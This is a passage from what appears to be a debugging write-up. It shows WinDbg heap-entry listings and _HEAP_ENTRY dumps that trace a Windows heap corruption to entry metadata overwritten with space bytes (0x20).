[01] - busy (16c) 00a27870: 00178 . 00170 [01] - busy (164) 00a279e0: 00170 . 00180 [01] - busy (174) 00a27b60: 00180 . 00168 [01] - busy (15c) 00a27cc8: 00168 . 00168 [01] - busy (15c) 00a27e30: 00168 . 00178 [01] - busy (16c) 00a27fa8: 00178 . 00168 [01] - busy (160) 00a28110: 00168 . 00118 [01] - busy (10c) 00a28228: 00118 . 00130 [01] - busy (121) 00a28358: 00130 . 001f8 [01] - busy (1eb) 00a28550: 001f8 . 001c0 [01] - busy (1b2) 00a28710: 001c0 . 00150 [01] - busy (144) 00a28860: 00150 . 00188 [01] - busy (17d) 00a289e8: 00188 . 00280 [01] - busy (278) 00a28c68: 00280 . 002b0 [01] - busy (2a4) 00a28f18: 002b0 . 00020 [01] - busy (18) 00a28f38: 00020 . 000f0 [01] - busy (e8) 00a29028: 000f0 . 001e0 [01] - busy (1d8) 00a29208: 001e0 . 000c8 [01] - busy (c0) 00a292d0: 000c8 . 00298 [01] - busy (290) 00a29568: 00298 . 00178 [01] - busy (170) 00a296e0: 00178 . 00608 [01] - busy (600) 00a29ce8: 00608 . 001c0 [01] - busy (1b4) 00a29ea8: 001c0 . 00110 [01] - busy (104) 00a29fb8: 00110 . 00128 [01] - busy (11c) 00a2a0e0: 00128 . 00140 [01] - busy (134) 00a2a220: 00140 . 00020 [01] - busy (14) 00a2a240: 00020 . 00608 [01] - busy (600) 00a2a848: 00608 . 00170 [01] - busy (164) 00a2a9b8: 00170 . 00138 [01] - busy (12c) 00a2aaf0: 00138 . 00028 [01] - busy (20) 00a2ab18: 00028 . 001e0 [01] - busy (1d8) 00a2acf8: 001e0 . 00188 [01] - busy (180) 00a2ae80: 00188 . 000c8 [01] - busy (c0) 00a2af48: 000c8 . 00098 [00] 00a2afe0: 00098 . 001e0 [01] - busy (1d8) 00a2b1c0: 001e0 . 00188 [01] - busy (180) 00a2b348: 00188 . 000c8 [01] - busy (c0) 00a2b410: 000c8 . 00098 [01] - busy (8c) 00a2b4a8: 00098 . 001e0 [01] - busy (1d8) 00a2b688: 001e0 . 00188 [01] - busy (180) 00a2b810: 00188 . 000c8 [01] - busy (c0) 00a2b8d8: 000c8 . 00098 [01] - busy (88) 00a2b970: 00098 . 001e0 [01] - busy (1d8) 00a2bb50: 001e0 . 00188 [01] - busy (180) 00a2bcd8: 00188 . 000c8 [01] - busy (c0) 00a2bda0: 000c8 . 00098 [01] - busy (84) 00a2be38: 00098 . 00188 [01] - busy (180) 00a2bfc0: 00188 . 001e0 [01] - busy (1d8) 00a2c1a0: 001e0 . 00308 [01] - busy (300) 00a2c4a8: 00308 . 00178 [01] - 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busy (180) 00a2ecf8: 00188 . 00608 [01] - busy (600) 00a2f300: 00608 . 001b8 [01] - busy (1b0) 00a2f4b8: 001b8 . 00168 [01] - busy (15c) 00a2f620: 00168 . 00170 [01] - busy (164) 00a2f790: 00170 . 00168 [01] - busy (15c) 00a2f8f8: 00168 . 001d0 [01] - busy (1c7) 00a2fac8: 001d0 . 00120 [01] - busy (113) 00a2fbe8: 00120 . 00018 [01] - busy (10) 00a2fc00: 00018 . 00268 [01] - busy (25c) 00a2fe68: 00268 . 00128 [01] - busy (120) 00a2ff90: 00128 . 00248 [01] - busy (240) 00a301d8: 00248 . 00198 [01] - busy (18f) 00a30370: 00198 . 00210 [01] - busy (204) 00a30580: 00210 . 00048 [01] - busy (40) 00a305c8: 00048 . 00350 [01] - busy (344) 00a30918: 00350 . 00288 [01] - busy (27e) 00a30ba0: 00288 . 00180 [01] - busy (176) 00a30d20: 00180 . 00108 [01] - busy (100) 00a30e28: 00108 . 00058 [01] - busy (48) 00a30e80: 00058 . 00160 [01] - busy (158) 00a30fe0: 00160 . 00030 [01] - busy (24) 00a31010: 00030 . 00160 [01] - busy (158) 00a31170: 00160 . 001e0 [01] - busy (1d8) 00a31350: 001e0 . 00188 [01] - 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busy (178) 00a77218: 00180 . 00168 [01] - busy (160) 00a77380: 00168 . 00180 [01] - busy (178) 00a77500: 00180 . 00168 [01] - busy (15c) 00a77668: 00168 . 00198 [01] - busy (190) 00a77800: 00198 . 001f8 [01] - busy (1ec) 00a779f8: 001f8 . 00188 [01] - busy (17c) 00a77b80: 00188 . 00170 [01] - busy (164) 00a77cf0: 00170 . 00170 [01] - busy (168) 00a77e60: 00170 . 00178 [01] - busy (170) 00a77fd8: 00178 . 00198 [01] - busy (18c) 00a78170: 00198 . 001f8 [01] - busy (1ec) 00a78368: 001f8 . 00170 [01] - busy (164) 00a784d8: 00170 . 00170 [01] - busy (164) 00a78648: 00170 . 00168 [01] - busy (15c) 00a787b0: 00168 . 001b8 [01] - busy (1b0) 00a78968: 001b8 . 00180 [01] - busy (174) 00a78ae8: 00180 . 00188 [01] - busy (180) 00a78c70: 00188 . 00100 [00] 00a78d70: 00100 . 00180 [01] - busy (174) 00a78ef0: 00180 . 00608 [01] - busy (600) 00a794f8: 00608 . 00208 [01] - busy (200) 00a79700: 00208 . 00188 [01] - busy (180) 00a79888: 00188 . 00608 [01] - busy (600) 00a79e90: 00608 . 00308 [01] - busy (300) 00a7a198: 00308 . 00220 [01] - busy (214) 00a7a3b8: 00220 . 003f8 [00] 00a7a7b0: 003f8 . 003d0 [01] - busy (3c2) 00a7ab80: 003d0 . 00248 [01] - busy (240) 00a7adc8: 00248 . 00318 [01] - busy (30f) 00a7b0e0: 00318 . 00228 [01] - busy (21e) 00a7b308: 00228 . 00378 [01] - busy (370) 00a7b680: 00378 . 00168 [01] - busy (160) 00a7b7e8: 00168 . 00278 [01] - busy (270) 00a7ba60: 00278 . 001e0 [01] - busy (1d8) 00a7bc40: 001e0 . 00520 [01] - busy (518) 00a7c160: 00520 . 00268 [01] - busy (25e) 00a7c3c8: 00268 . 00178 [01] - busy (16f) 00a7c540: 00178 . 00120 [01] - busy (116) 00a7c660: 00120 . 00170 [01] - busy (167) 00a7c7d0: 00170 . 00268 [01] - busy (25a) 00a7ca38: 00268 . 003d8 [01] - busy (3cf) 00a7ce10: 003d8 . 004d0 [01] - busy (4c2) 00a7d2e0: 004d0 . 00408 [01] - busy (3fa) 00a7d6e8: 00408 . 00118 [01] - busy (10c) 00a7d800: 00118 . 00118 [01] - busy (10c) 00a7d918: 00118 . 001a0 [01] - busy (197) 00a7dab8: 001a0 . 00118 [01] - busy (10c) 00a7dbd0: 00118 . 00608 [01] - busy (600) 00a7e1d8: 00608 . 001e0 [01] - busy (1d8) 00a7e3b8: 001e0 . 00188 [01] - busy (17b) 00a7e540: 00188 . 00228 [01] - busy (21b) 00a7e768: 00228 . 00068 [01] - busy (5c) 00a7e7d0: 00068 . 00010 [01] - busy (4) 00a7e7e0: 00010 . 00160 [01] - busy (154) 00a7e940: 00160 . 00188 [01] - busy (180) 00a7eac8: 00188 . 00160 [01] - busy (158) 00a7ec28: 00160 . 00188 [01] - busy (180) 00a7edb0: 00188 . 00160 [01] - busy (154) 00a7ef10: 00160 . 00188 [01] - busy (180) 00a7f098: 00188 . 00c08 [01] - busy (c00) 00a7fca0: 00c08 . 001a8 [01] - busy (1a0) 00a7fe48: 001a8 . 00188 [01] - busy (180) 00a7ffd0: 00188 . 00018 [01] - busy (c) 00a7ffe8: 00018 . 00018 [11] - busy (c) Segment02 at 00a80000: Flags: 00000000 Base:00a80000 First Entry: 00a80040 Last Entry:00c80000 Total Pages: 00000200 Total UnCommit:00000175 Largest UnCommit:00172000 UnCommitted Ranges: (2) 00acb000: 00003000 00b0e000: 00172000   Heap entries for Segment02 in Heap 00970000 00a80000: 00000 . 00040 [01] - busy (40) 00a80040: 00040 . 40008 [01] - busy (40000) 00ac0048: 40008 . 00170 [01] - busy (164) 00ac01b8: 00170 . 01808 [01] - busy (1800) 00ac19c0: 01808 . 00408 [01] - busy (400) 00ac1dc8: 00408 . 000c8 [01] - busy (c0) 00ac1e90: 000c8 . 000c8 [01] - busy (c0) 00ac1f58: 000c8 . 000a8 [01] - busy (93) 00ac2000: 000a8 . 03008 [01] - busy (3000) 00ac5008: 03008 . 00460 [01] - busy (453) 00ac5468: 00460 . 00190 [01] - busy (188) 00ac55f8: 00190 . 00188 [01] - busy (180) 00ac5780: 00188 . 00170 [01] - busy (164) 00ac58f0: 00170 . 00170 [01] - busy (164) 00ac5a60: 00170 . 000d0 [00] 00ac5b30: 000d0 . 001a0 [01] - busy (196) 00ac5cd0: 001a0 . 001e0 [01] - busy (1d8) 00ac5eb0: 001e0 . 05150 [10] 00acb000:00003000- uncommitted bytes. 00ace000: 00000 . 00018 [01] - busy (10) 00ace018: 00018 . 00018 [01] - busy (10) 00ace030: 00018 . 00198 [01] - busy (18f) 00ace1c8: 00198 . 001e8 [01] - busy (1d9) 00ace3b0: 001e8 . 00118 [01] - busy (10f) 00ace4c8: 00118 . 003f8 [01] - busy (3eb) 00ace8c0: 003f8 . 00168 [01] - busy (15a) 00acea28: 00168 . 003e8 [01] - busy (3dc) 00acee10: 003e8 . 001e0 [01] - busy (1d7) 00aceff0: 001e0 . 00130 [01] - busy (128) 00acf120: 00130 . 00030 [00] 00acf150: 00030 . 001e0 [01] - busy (1d8) 00acf330: 001e0 . 00160 [01] - busy (154) 00acf490: 00160 . 001e0 [01] - busy (1d8) 00acf670: 001e0 . 00160 [01] - busy (154) 00acf7d0: 00160 . 001e0 [01] - busy (1d8) 00acf9b0: 001e0 . 000c8 [01] - busy (c0) 00acfa78: 000c8 . 00160 [01] - busy (158) 00acfbd8: 00160 . 001e0 [01] - busy (1d8) 00acfdb8: 001e0 . 00188 [01] - busy (180) 00acff40: 00188 . 0c008 [01] - busy (c000) 00adbf48: 0c008 . 20020 [01] - busy (20015) 00afbf68: 20020 . 10020 [01] - busy (10015) 00b0bf88: 10100 . 10100 [20] unable to read heap entry at 00b1c088   The error message shown by windbg "unable to read heap entry at.." partially confirms that its a sign of memory / heap corruption.   0:000> dt _HEAP_ENTRY 00adbf48 ntdll!_HEAP_ENTRY +0x000 Size : 0x4004 +0x002 PreviousSize : 0x1801 +0x000 SubSegmentCode : 0x18014004 +0x004 SmallTagIndex: 0xc3 &apos;&apos; +0x005 Flags: 0x1 &apos;&apos; +0x006 UnusedBytes: 0xb &apos;&apos; +0x007 SegmentIndex : 0x2 &apos;&apos;   0:000> dt _HEAP_ENTRY 00afbf68 ntdll!_HEAP_ENTRY +0x000 Size : 0x2004 +0x002 PreviousSize : 0x4004 +0x000 SubSegmentCode : 0x40042004 +0x004 SmallTagIndex: 0xc7 &apos;&apos; +0x005 Flags: 0x1 &apos;&apos; +0x006 UnusedBytes: 0xb &apos;&apos; +0x007 SegmentIndex : 0x2 &apos;&apos;   Above two entries actually make sense. size and previous size matches for both of them. Now lets dessect the last entry   0:000> dt _HEAP_ENTRY 00b0bf88 ntdll!_HEAP_ENTRY +0x000 Size : 0x2020 +0x002 PreviousSize : 0x2020 +0x000 SubSegmentCode : 0x20202020 +0x004 SmallTagIndex: 0x20 &apos; &apos; +0x005 Flags: 0x20 &apos; &apos; +0x006 UnusedBytes: 0x20 &apos; &apos; +0x007 SegmentIndex : 0x20 &apos; &apos;   From above windbg output, it can be seen that metadata of 0x00b0bf88is completely corrupted and overwritten with 0x20s which is nothing but spaces.   0:000> dd 00b0bf88 00b0bf8820202020 20202020 20202020 20202020 00b0bf9820202020 20202020 20202020 20202020 00b0bfa820202020 20202020 20202020 20202020 00b0bfb820202020 20202020 20202020 20202020 00b0bfc820202020 20202020 20202020 20202020 00b0bfd820202020 20202020 20202020 20202020 00b0bfe820202020 20202020 20202020 20202020 00b0bff820202020 20202020 20202020 20202020